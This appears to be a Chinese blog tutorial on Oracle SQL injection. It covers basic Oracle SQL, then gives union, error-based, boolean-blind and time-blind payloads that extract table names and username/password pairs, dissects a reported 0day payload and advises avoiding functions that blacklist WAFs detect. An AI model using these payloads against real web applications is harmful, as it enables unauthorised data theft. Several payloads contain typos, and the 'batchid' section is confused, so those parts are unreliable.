基于Oracle的SQL注入

引子

最近在学习的过程中,接触到了一个0day,天风师傅给了我一个payload,是我从来没接触到的数据库,正好借这个机会简单学习一下Oracle这个数据库以及简单了解一下基于Orcle数据库的SQL注入

简单介绍一下Oracle

ORACLE是一个关系型数据库,一般会在用户下面生成自己的数据库表,它没有数据库的概念,每个登陆的用户都会有属于自己独立的数据库,不同用户看到的数据库表也不同。

例如用root和system进行登录,看到的数据库也不同

使用不同用户就会看到属于不同用户的数据库

本地起Oracle

学习数据库这个东西,就要去熟练SQL语句,因为对于SQL注入而言,就是对数据库所发生的漏洞去突破,那么自然就必须熟悉每个数据库的特点以及SQL语句,必不可少的便是本地环境

https://www.oracle.com/database/technologies/oracle-database-software-downloads.html#19c

我是Windows64位,那就选这个,看自己操作系统环境。

安装没啥好说的,就是在某一步设置用户时记得自己用户和密码,我自安装时并未设置,那么用户名和密码就是你自己电脑的用户和密码

哦对了,安装好后便会启动,就可以使用。命令行是哪个SQL Plus但是你关机后再开机,就需要你亲自去服务界面进行开启,进入服务界面,开启OracleServiceORCL 即可正常进入sqlplus进行登录

一些常用的基于Oracle的SQL语句

0x00 Oracle数据库操作

创建数据库

create database databasename

删除数据库

drop database dbname

0x01 Oracle表操作

创建表

create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)

根据已有的表创建新表

select * into table_new from table_old (使用旧表创建新表)

create table tab_new as select col1,col2… from tab_old definition only<仅适用于Oracle>

删除表

drop table tabname

重命名表

alter table 表名 rename to 新表名

eg:alter table tablename rename to newtablename

增加字段

alter table 表名 add (字段名 字段类型 默认值 是否为空);

例:alter table tablename add (ID int);

eg:alter table tablename add (ID varchar2(30) default '空' not null);

修改字段

alter table 表名 modify (字段名 字段类型 默认值 是否为空);

eg:alter table tablename modify (ID number(4));

重命名字段

alter table 表名 rename column 列名 to 新列名 (其中:column是关键字)

eg:alter table tablename rename column ID to newID;

删除字段

alter table 表名 drop column 字段名;

alter table tablename drop column ID;

添加主键

alter table tabname add primary key(col)

删除主键

alter table tabname drop primary key(col)

创建索引

create [unique] index idxname on tabname(col….)

删除索引

drop index idxname

注:索引是不可更改的,想更改必须删除重新建。

0x02 Oracle操作数据

数据查询

select <列名> from <表名> [where <查询条件表达试>] [order by <排序的列名>[asc或desc]]

eg:select user from dual

插入数据

insert into 表名 values(所有列的值);

eg:insert into test values(1,'zhangsan',20);

insert into 表名(列) values(对应的值);

eg:insert into test(id,name) values(2,'lisi');

更新数据

0x00更新满足条件的记录

update 表 set 列=新的值 [where 条件]

eg:update test set name='zhangsan2' where name='zhangsan'

0x01更新所有的数据

update 表 set 列=新的值

eg:update test set age =20;

删除数据

0x00删除满足条件的记录

delete from 表名 where 条件

eg: delete from test where id = 1;

0x01删除所有

delete from test

delete方式可以恢复删除的数据,但是提交了,就没办法了 delete删除的时候,会记录日志 删除会很慢很慢

0x02删除所有数据,不会影响表结构,不会记录日志,数据不能恢复 删除很快

truncate table 表名

0x03删除所有数据,包括表结构一并删除,不会记录日志,数据不能恢复删除很快

drop table 表名

0x04提交数据

commit;

0x05回滚数据

rollback;

数据复制

0x00表数据复制

insert into table1 (select * from table2);

0x01复制表结构

create table table1 select * from table2 where 1>1;

0x02复制表结构和数据

create table table1 select * from table2;

0x03复制指定字段

create table table1 as select id, name from table2 where 1>1;

基于Orcle的SQL注入

Orcle的注入其实跟MySQL的注入区别不大,本质上都是SQL语句进行注入,但是Orcle注入和其他数据库注入流程不一样的地方在于判断字符类型的方式不一样。

0x00判断注入类型

?id=1 and 1=1和?id=1 and 1=2

若两种情况均报错,那么就是字符型注入;若?id=1 and 1=1页面正常,后一个语句报错,那么便是数字型注入

0x01判断列数

判断列数其实跟MySQL数据库的注入一样 order by 即可;这里不再赘述,不知道的可以看前面MySQL联合查询注入那篇文章

eg:?id=1 order by 1

0x02判断字符类型以及返回位置

假设我们已经判断出一共三个字段,接下来就是判断字符类型以及返回位置

在Orcle中,select查询语句提交的数据内容字符类型必须与数据库表中的数据的类型相同,不然就会报错;例如

?id=1' union select 1,2,3 from dual --+

该语句在字符型时就会爆出错误,换成?id=1' union select '1','2','3' from dual --+后便不会报错,故我们需要去主动查询数据库的数据类型

使用?id=1' union select 1,null,null from dual --+?id=1' union select '1',null,null from dual --+两条语句来判断第一位是什么类型,null表示为空,在数字型和字符型中都不会影响语句。之后挨个查询每个位置,知道查询出类型,例如我这里查询出来的为数字型,那么下一步便是查询返回位置

利用?id=1 uoion select 1,2,3 from dual看哪个数字会输出在我们能看的见的地方,便使用那个位置来进行查询

0x03基于Oracle的联合查询注入

确定返回位置后,便可以进行相关查询操作,将其可以回显的位置换成查询语句即可。

查询Oracle版本

?id=1 union select 1,2,(select banner from sys.v_$version where rownum=1) from dual

查询数据库当前使用的用户

?id=0 uoion select 1,2,(select user from dual) from dual

我当前的用户是system

获取Oracle中的表名

eg:从数据表user_tables里获取数据列table_name的信息

?id=0 union select 1,2,(select tabel_name from user_tables) from dual

Oracle中绕过页面只能显示一行数据的方法

eg:在上方从数据表user_tables里获取数据列table_name的信息时,信息太多导致报错,那么该如何克服这个问题,就要用到一些Orcle中提供的函数以及语句来进行查询:wm_concat函数;rownum和not in语句;

wm_concat函数和mysql数据库中的group_concat函数的作用是一样的,用于将查询到的多行结果合并到一行返回。

?id=0 union select 1,2,(select wm_concat(table_name) from user_tables) from dual

也可以使用rownum和not in语句来实现,rownum关键字控制返回结果的行数,not in语句对查询到的结果进行逐个排除显示,也能把所有结果查询出来

?id=0' union select 1,'2',(select wm_concat(table_name ) from user_tables where rownum=1 and table_name not in('USERS')) from dual

获取Oracle中的列名

从数据表user_tab_columns里获取数据列column_name的信息,例如查询users表的所有列名

?id=0 union select 1,2,(select wm_concat(column_name) from user_tab_columns where table_name= 'USERS') from dual

获取表中的用户信息

例如:获取user表中的用户和密码

?id=0 union select 1,2,(select wm_concat(username||'~'||password) from USERS) from dual //注意再wm_concat中,里面的列数需要用||进行分隔 

一些其他的查询语句

获取当前用户权限:select * from session_roles

获取当前数据库版本:select banner from sys.v_$version where rownum=1

获取服务器监听IP:select utl_inaddr.get_host_address from dual

获取服务器操作系统:select member from v$logfile where rownum=1

服务器sid:select instance_name from v$instance

获取当前连接数据库的用户:select SYS_CONTEXT('USERENV','CURRENT_USER') from dual

0x04基于Oracle的报错注入

报错注入这篇文章只涉及8个报错函数,因为Oracle平时涉及也相对较少,所以就介绍一些比较常见的函数

0x00单参数报错函数

dbms_xdb_version.checkin()
dbms_xdb_version.uncheckin()
dbms_xdb_version.makeversioned()
dbms_utility.sqlid_to_sqlhash()
UTL_INADDR.get_host_name()
UTL_INADDR.get_host_address()

单参数的含义便是只需要一个参数即可,以下函数用法一致,在Oracle中采用下方函数进行报错,同时也会将我们加入的参数进行显示,这六个函数都可以用一下语句进行使用

and (select 函数名() from dual) is not null //函数名就是你使用的函数

dbms_xdb_version.checkin()函数为例

?id=1 and (select dbms_xdb_version.checkin() from dual) is not null //
将select user from dual 这个sql语句作为参数传入到UTL_INADDR.get_host_name函数中,然后ORACLE数据库在执行sql语句UTL_INADDR.get_host_name函数报错时,会将select user from dual查询到的结果作为报错信息也展示出来

0x01多参数报错函数

ordsys.ord_dicom.getmappingxpath()

ctxsys.drithsx.sn()

顾名思义多参数报错函数,需要多个参数来进行操作

ordsys.ord_dicom.getmappingxpath()函数需要三个参数,而第一个参数才是报错可以输出的位置

?id=1 and (select ordsys.ord_dicom.getmappingxpath((select user from dual),1,1) from dual) is not null

ctxsys.drithsx.sn()函数只需要两个参数,同时第二个位置是报错可以爆出的位置

?id=1 and (select ctxsys.drithsx.sn(1,(select user from dual) from dual) is not null

XMLType函数

XMLType函数用法:and (select XMLType(<:>) from dual) is not null

XMLType函数会在对sql语句查询后的结果和特殊符号进行拼接时报错

?id=1 and (select XMLType('<:'||(select user from dual)||'>') from dual) is not null //注意在“||”符号中间的才是我们构造的sql语句,报错会爆出该语句查询的信息

0x05基于Oracle的布尔盲注

Oracle的布尔盲注其实跟MySQL也是一样的,只是一些函数的不同,使用substr()函数结合二分法来进行操作,例如从数据表user_tables里获取数据列table_name的信息

id=1 and ascii(substr((select table_name from user_tables where rownum=1),1,1))>=80 --+

布尔盲注想必大家都已了解,只有两种回显。那么我们就采取一个判断语句来进行判断,若上方函数给回显,那么就说明语句正确,接着缩小范围,直到测试出第一个字符等于的ascii码 即可对应相应字母

虽然比较慢,但是最终也将表名USERS查询了出来,那么查询第二个表明就可以使用not in语句过滤第一个表名来拿到第二个表名。

0x06基于Oracle的时间盲注

dbms_pipe.receive_message()

该函数类似于sleep(),等待一个时间点然后再返回执行的结果,有两个参数,第一个参数为自定义,第二个参数是等待的时间。

id=1 and 1=dbms_pipe.receive_message('benben',3)  例如这里就是停滞三秒钟执行benben这个命令

case when

case when函数和if else的作用是类似的,使用方法:

case when a='1' 
then '延迟某个时间'
else '延迟另外一个时间'
end as

eg:select case when 1>0 then 1 else 2 end as from dual;在执行这个语句时,Oracle判断1是否大于0,若大于0,则返回1,其他情况返回2

两个函数结合起来使用

利用case when判断语句和dbms_pipe.receive_message函数以及ASCII()函数来进行时间盲注,通过页面的显示时间进行判断或者bp抓包进行判断时间来确定每个字符具体的ascii码,从而判断字符。

?id=1' and 1=(select case when ascii(substr((select username||':'||password from USERS where rownum=1),1,1))>80 then dbms_pipe.receive_message('benben',2) end as from dual) --+

上方两个语句结合一下,同时也用到了上方布尔盲注一样的知识,若第一个字符的ascii码大于80,则页面等待三秒才会显示,若第一个字符的ascii码小于80,则立刻回显,通过二分法一个一个尝试即可全部查出。

大家可以看到这种手爆的方法很慢也很累,那么久可以用sqlmap以及脚本来实现了,这个就由大家自己去探索吧,或者可以去看我基于MySQL的SQL注入那篇文章,有介绍过。

分析一下开头的PayLoad

select 4541-decode(substrc(dump(substrc(user,1,1)),14,4),69,0,1/0) from dual;先逐层分析一下,这里我本地用户为system 第一个字符的ASCII码为83

逐层分析

substrc(user,1,1)

用Unicode编码对从user中查询到第一个用户的第一个字符进行显示

dump(substrc(user,1,1))

返回了typ(表示当前的expr值的类)以及leng(表示该值所占用的字节数) 关于具体可以看这篇文章 https://blog.csdn.net/imliuqun123/article/details/80522743 介绍比较详细,这里我就不再介绍

]

substrc(dump(substrc(user,1,1)),14,4)

跟上方一样,只不过后面的参数进行了改变,不再赘述

decode(substrc(dump(substrc(user,1,1)),14,4),83,0,1/0)

decode()函数进行判断,若substrc(dump(substrc(user,1,1)),14,4)等于83,则执行并返回0,若不等于,则执行1/0(报错)

4541-decode(substrc(dump(substrc(user,1,1)),14,4),83,0,1/0)

该PayLoad中涉及到的函数

0x00 dump函数

dump(expr(,return_fmt(,start_position)(,length)))

基本参数时4个,最少可以填的参数是0个。当完全没有参数时,直接返回null。另外3个参数也都有各自的默认值:

expr:这个参数是要进行分析的表达式(数字或字符串等,可以是各个类型的值)

return_fmt:指返回参数的格式,有5种用法:
1)8:以8进制返回结果的值
2)10:以10进制返回结果的值(默认)
3)16:以16进制返回结果的值
4)17:以单字符的形式返回结果的值
5)1000:以上4种加上1000,表示在返回值中加上当前字符集

start_position:开始进行返回的字符位置

length:需要返回的字符长度

0x01 substrc函数

substr是按字符来计算,一个字母或汉字都按一个字符计算如:

substr('智能ABC',2,2)='能A'
如果想要按字节来计算则可以采用substrb函数,用法一样
substrb('智能ABC',3,4)='能AB'
当然还有另外几个按不同编码计算的函数

substrc:按Unicode编码,也就是这道题中的用到的函数

substr2:按UCS2编码,

substr4:按UCS4编码。

0x02 decode函数

0x01 第一种使用方法

decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值)

该函数的含义如下:

IF 条件=值1 THEN
    RETURN(翻译值1)
ELSIF 条件=值2 THEN
    RETURN(翻译值2)
    ......
ELSIF 条件=值n THEN
    RETURN(翻译值n)
ELSE
    RETURN(缺省值)
END IF

0x02 第二种使用方法

decode(字段或字段的运算,值1,值2,值3)

这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回值3
当然值1,值2,值3也可以是表达式。

这也是这道题中用到的函数的含义

0x03 batch函数

这里需要抓取的是用户的id,所以写成batchid

这里我由于是第一次接触这个函数,就去百度一下,也并无找到有关batchid的函数用法,倒是找到了关于bat批处理的一些知识,并且看到了batch这个函数

获取或设置与运行多个 Web 服务方法的单个数据库事务关联的批处理 ID。

public string BatchID { get; set; }

具有批处理 ID 的字符串,该字符串与运行多个 Web 服务方法的单个数据库事务相关联。

学到的东西

该条payload通过一些数据库中最常用的函数 没有用到一些敏感函数,故可以绕过黑名单的waf,那么我们在平时的构造我们的payload时,而需要尽量去避免一些有可能被waf识别的敏感函数

最后用天风老师的话来勉励自己

参考链接

https://www.4k8k.xyz/article/qq_35733751/107371594#1.%20

https://www.cnblogs.com/ayoung/p/15329033.html#_lab2_0_2

https://blog.csdn.net/imliuqun123/article/details/80522743

https://www.cnblogs.com/ayoung/p/15329033.html#_lab2_0_4